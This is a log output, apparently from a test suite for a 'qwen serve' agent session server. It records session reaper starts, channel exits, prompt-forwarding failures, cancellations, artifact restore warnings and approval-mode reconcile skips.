qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session lifecycle callback failed: lifecycle sink failed
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: session lifecycle callback failed: lifecycle sink failed
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[artifacts] session=sess:/work/a action=remove_denied artifactId=ea192b281419fff5 owner=client_83645f46-dd0a-4314-a511-3dd9baf6c56d requester=client_b10f11cb-ca2d-4cab-bf98-d769829a73a4
[artifacts] session=sess:/work/a action=remove_denied artifactId=ea192b281419fff5 owner=client_83645f46-dd0a-4314-a511-3dd9baf6c56d requester=
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=1, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=client_mcp_message action=forwarded_without_session reason=session_registration_pending
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: compaction degraded for session="sess:/work/a"; replay snapshot may lag behind live events: compaction test failure
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[artifacts] session=persisted-artifacts action=restore_warning warning="skipped corrupt artifact record"
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[artifacts] session=persisted-artifact-normalize action=restore_warning warning="skipped artifact without id/title"
[artifacts] session=persisted-artifact-normalize action=restore_warning warning="kept warning"
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[artifacts] session=sess:/work/a action=rewind_restore_warning warning="artifact snapshot rebuild unavailable during rewind: artifact journal read failed"
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[artifacts] session=sess:/work/a action=snapshot_failed reason="[object Object]"
[artifacts] session=sess:/work/a action=rewind_snapshot_warning warning="artifact snapshot not persisted"
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "persisted-live-refresh-closing" (reason: client_close) by client "client_b02a2867-afbf-4b81-9900-898624cea511"
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 1 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel kill failed (killSession "c0:/work/a"): Error: first channel was not reaped
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
sendPrompt: forward failed for session sess:/work/a: continuation turn blew up
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
sendPrompt: forward failed for session sess:/work/a: temporary failure
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
sendPrompt: forward failed for session sess:/work/a: terminated
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=none
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=5cf03aae-203a-4240-abe5-39165b72b928
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=d4cc8789-2bbf-466c-abc6-6e7e2971c87f
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=304fb728-293e-4b92-b6cf-d481f7bab0ac
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
sendPrompt: forward failed for session sess:/work/a: forward boom
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close) by client "client_7039f0e7-8e03-4a12-b69c-25c482b5abb4"
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: updated session metadata "sess:/work/a" displayName=set by client "client_8738f794-ffcd-4a8e-917e-b887a18bc421"
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
sendPrompt: forward failed for session sess:/work/a: first prompt failed
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[pending-prompt] session=sess:/work/a removing promptId=8880e897-0c41-45e9-a8c2-f96ba6656577 state=queued
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
sendPrompt: forward failed for session sess:/work/a: first prompt boom
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[pending-prompt] session=sess:/work/a removing promptId=removed-after-promotion state=queued
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[pending-prompt] session=sess:/work/a removing promptId=69f6ee86-4288-4b03-9864-e3eecfafdd4a state=running
sendPrompt: forward failed for session sess:/work/a: cancelled
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=69f6ee86-4288-4b03-9864-e3eecfafdd4a
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[pending-prompt] session=sess:/work/a removing promptId=f58e4c05-9fed-44b9-af04-e33994316c83 state=running
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[pending-prompt] session=sess:/work/a removing promptId=prompt-b state=queued
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
sendPrompt: prompt prompt-wedged exceeded 50ms deadline for session sess:/work/a; agent may still be executing
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
sendPrompt: prompt prompt-queued-deadline exceeded 50ms deadline for session sess:/work/a; agent may still be executing
sendPrompt: forward failed for session sess:/work/a: agent channel closed mid-request (session sess:/work/a)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=prompt-head
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: last_client_detached)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
sendPrompt: forward failed for session sess:/work/a: agent channel closed mid-request (session sess:/work/a)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=prompt-a
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[pending-prompt] session=sess:/work/a removing promptId=prompt-removed-running state=running
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
sendPrompt: forward failed for session sess:/work/a: agent channel closed mid-request (session sess:/work/a)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=prompt-removed-running
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[pending-prompt] session=sess:/work/a removing promptId=prompt-promoted state=running
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
sendPrompt: forward failed for session sess:/work/a: agent channel closed mid-request (session sess:/work/a)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=prompt-a
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=prompt-a
[pending-prompt] session=sess:/work/a removing promptId=prompt-b state=queued
sendPrompt: prompt prompt-a exceeded 60ms deadline for session sess:/work/a; agent may still be executing
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=1, signal=none, 1 session(s) torn down)
sendPrompt: forward failed for session sess:/work/a: agent channel closed mid-request (session sess:/work/a)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=prompt-a
[pending-prompt] cancel forward failed after removePendingPrompt session=sess:/work/a: agent channel closed mid-request (session sess:/work/a)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=prompt-child-admission
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=prompt-first
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=prompt-first
qwen serve: channel exited (code=1, signal=none, 1 session(s) torn down)
sendPrompt: forward failed for session sess:/work/a: agent channel closed mid-request (session sess:/work/a)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=prompt-first
[pending-prompt] cancel forward failed after removePendingPrompt session=sess:/work/a: agent channel closed mid-request (session sess:/work/a)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=prompt-standard-cancel
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: legacy permission vote "does-not-exist" has no live session (peek returned undefined); returning 404.
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: legacy permission vote "does-not-exist" has no live session (peek returned undefined); returning 404.
qwen serve: legacy permission vote "does-not-exist" has no live session (peek returned undefined); returning 404.
qwen serve: legacy permission vote "does-not-exist" has no live session (peek returned undefined); returning 404.
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=model action=skipped reason=roundtrip_failed
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=model action=skipped reason=roundtrip_failed
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 1 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=model action=skipped reason=roundtrip_failed
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=model action=skipped reason=roundtrip_failed
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 1 session(s) torn down)
sendPrompt: forward failed for session stuck:/work/a: agent channel closed mid-request (session stuck:/work/a)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session stuck:/work/a prompt=1175bad8-5c08-4251-875a-91e2fcccc929
[pending-prompt] cancel forward failed after removePendingPrompt session=stuck:/work/a: agent channel closed mid-request (session stuck:/work/a)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: parentSessionId for sess:/work/a was not persisted (unknown) — the parent link is live-only until restart (reported to the caller via parentSessionPersisted=false)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: parentSessionId for sess:/work/a was not persisted (unknown) — the parent link is live-only until restart (reported to the caller via parentSessionPersisted=false)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: parentSessionId for sess:/work/a was not persisted (unknown) — the parent link is live-only until restart (reported to the caller via parentSessionPersisted=false)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: parentSessionId for sess:/work/a was not persisted ([object Object]) — the parent link is live-only until restart (reported to the caller via parentSessionPersisted=false)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: parentSessionId for sess:/work/a was not persisted (unknown) — the parent link is live-only until restart (reported to the caller via parentSessionPersisted=false)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: parentSessionId for sess:/work/a was not persisted ([object Object]) — the parent link is live-only until restart (reported to the caller via parentSessionPersisted=false)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: parentSessionId for sess:/work/a was not persisted (AcpSessionBridge sessionParent timed out after 50ms) — the parent link is live-only until restart (reported to the caller via parentSessionPersisted=false)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session sess:/work/a cwd changed: /work/a -> /work/a
qwen serve: session sess:/work/a#2 cwd changed: /work/a -> /work/b
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session sess:/work/a cwd changed: /work/a -> /work/b
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session sess:/work/a cwd changed: /work/a -> /work/b
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=approvalMode action=skipped reason=roundtrip_failed
qwen serve: closing session "sess:/work/a" (reason: approval_mode_initialization_failed)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=approvalMode action=skipped reason=roundtrip_failed
qwen serve: closing session "sess:/work/a" (reason: approval_mode_initialization_failed)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=approvalMode action=skipped reason=roundtrip_failed
qwen serve: closing session "sess:/work/a" (reason: last_client_detached)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=restore-with-mode target=approvalMode action=skipped reason=roundtrip_failed
qwen serve: closing session "restore-with-mode" (reason: last_client_detached)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=approvalMode action=skipped reason=roundtrip_failed
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=approvalMode action=skipped reason=roundtrip_failed
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
sendPrompt: forward failed for session sess:/work/a: Internal error
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
